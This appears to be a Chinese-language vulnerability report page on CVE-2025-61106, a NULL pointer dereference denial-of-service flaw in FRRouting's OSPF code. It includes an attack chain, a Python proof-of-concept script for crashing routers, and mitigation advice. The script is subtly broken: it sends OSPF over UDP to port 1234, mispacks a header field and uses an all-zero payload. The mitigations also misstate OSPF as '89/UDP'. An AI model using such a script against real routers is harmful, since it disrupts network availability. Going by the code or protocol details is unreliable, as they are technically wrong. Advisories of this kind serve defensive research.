IPBUF安全漏洞报告
English
CVE-2025-61106 CVSS 7.5 高危

CVE-2025-61106 FRRouting OSPF NULL指针解引用拒绝服务漏洞

披露日期: 2025-10-28

漏洞信息

漏洞编号
CVE-2025-61106
漏洞类型
NULL指针解引用
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FRRouting/frr

相关标签

NULL指针解引用拒绝服务FRRoutingOSPF路由协议CVE-2025-61106ospf_ext.c高危漏洞

漏洞概述

CVE-2025-61106是FRRouting/frr软件中的一个高危拒绝服务漏洞。该漏洞存在于FRRouting的OSPF协议实现中,具体位于ospf_ext.c文件的show_vty_ext_pref_pref_sid函数。攻击者可以通过构造恶意的OSPF数据包触发该NULL指针解引用漏洞,导致FRRouting服务崩溃,从而造成拒绝服务影响。FRRouting是一个广泛使用的开源IP路由协议套件,支持OSPF、BGP、RIP等常见路由协议,被许多网络设备和操作系统所采用。该漏洞影响范围覆盖v4.0至v10.4.1版本,由于无需认证即可远程利用,且CVSS评分达到7.5分,具有较高的安全风险。攻击者无需特殊权限或用户交互,即可通过网络发送精心构造的OSPF数据包来触发漏洞,对网络基础设施的可用性构成严重威胁。

技术细节

该漏洞为典型的NULL指针解引用(NULL Pointer Dereference)漏洞。在C语言编程中,当程序尝试访问NULL指针指向的内存地址时,会导致程序崩溃。在FRRouting的ospf_ext.c文件中,show_vty_ext_pref_pref_sid函数在处理OSPF扩展前缀信息时,未正确验证指针有效性。当收到攻击者精心构造的OSPF数据包时,该数据包包含异常的前缀SID(Segment ID)信息,导致函数内部引用了一个未初始化或被设置为NULL的指针。攻击者利用此漏洞时,需要向目标设备发送包含恶意扩展前缀信息的OSPF LSA(Link State Advertisement)数据包。由于OSPF协议在路由器间广泛使用,且该漏洞无需认证即可触发,攻击者只需处于网络可达位置即可实施攻击。成功利用后,将导致frrouting守护进程崩溃,需要重启服务才能恢复,影响网络的路由收敛和稳定性。

攻击链分析

STEP 1
1
信息收集:攻击者识别运行FRRouting的目标设备,确认OSPF协议处于启用状态
STEP 2
2
构造恶意数据包:攻击者构造包含异常扩展前缀SID信息的恶意OSPF LSA数据包
STEP 3
3
发送攻击载荷:通过网络向目标FRRouting设备发送精心构造的OSPF LSU数据包
STEP 4
4
触发漏洞:恶意数据包被ospf_ext.c的show_vty_ext_pref_pref_sid函数处理
STEP 5
5
NULL指针解引用:函数尝试访问未初始化的NULL指针,导致访问违规
STEP 6
6
拒绝服务:FRRouting守护进程崩溃,路由功能中断,需要手动重启恢复

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61106 PoC - FRRouting NULL Pointer Dereference in OSPF # This PoC demonstrates sending a crafted OSPF packet to trigger the vulnerability import socket import struct import random def create_crafted_osfp_packet(): """Create a malicious OSPF LSA packet to trigger NULL pointer dereference""" # OSPF Header version = 2 # OSPFv2 msg_type = 4 # LSU (Link State Update) packet_length = 0 router_id = socket.inet_aton('10.0.0.1') area_id = socket.inet_aton('0.0.0.0') checksum = 0 auth_type = 0 auth = b'\x00' * 8 ospf_header = struct.pack('!BBH4s4sHH', version, msg_type, packet_length, router_id, area_id, checksum, auth_type) + auth # OSPF LSA Header - crafted to trigger vulnerability lsa_age = 1 lsa_type = 10 # Opaque LSA (Extended Prefix) lsa_id = random.randint(1, 255) lsa_adv_router = socket.inet_aton('10.0.0.2') lsa_seq = 0x80000001 lsa_chksum = 0 lsa_length = 0 lsa_header = struct.pack('!HH4s4sIHH', lsa_age, lsa_type, lsa_id, lsa_adv_router, lsa_seq, lsa_chksum, lsa_length) # Crafted LSA body with malicious prefix SID information # This triggers NULL pointer in show_vty_ext_pref_pref_sid function lsa_body = b'\x00' * 100 # Malformed data causing NULL dereference return ospf_header + lsa_header + lsa_body def send_crafted_packet(target_ip, target_port=1234): """Send the crafted OSPF packet to target""" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = create_crafted_osfp_packet() sock.sendto(packet, (target_ip, target_port)) sock.close() print(f"Crafted OSPF packet sent to {target_ip}") # Usage: send_crafted_packet('target_router_ip') # Note: Requires network access to the target OSPF neighbor # This PoC triggers NULL pointer dereference in FRRouting ospf_ext.c

影响范围

FRRouting/frr >= v4.0
FRRouting/frr <= v10.4.1

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)禁用不必要的OSPF扩展功能;2)限制OSPF邻居关系,仅允许可信IP地址建立邻居;3)启用OSPF协议认证(推荐使用HMAC-SHA256);4)通过网络分段和访问控制列表限制对OSPF端口(89/UDP)的访问;5)监控FRRouting进程状态,设置异常告警;6)考虑使用iptables/nftables过滤异常OSPF数据包。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表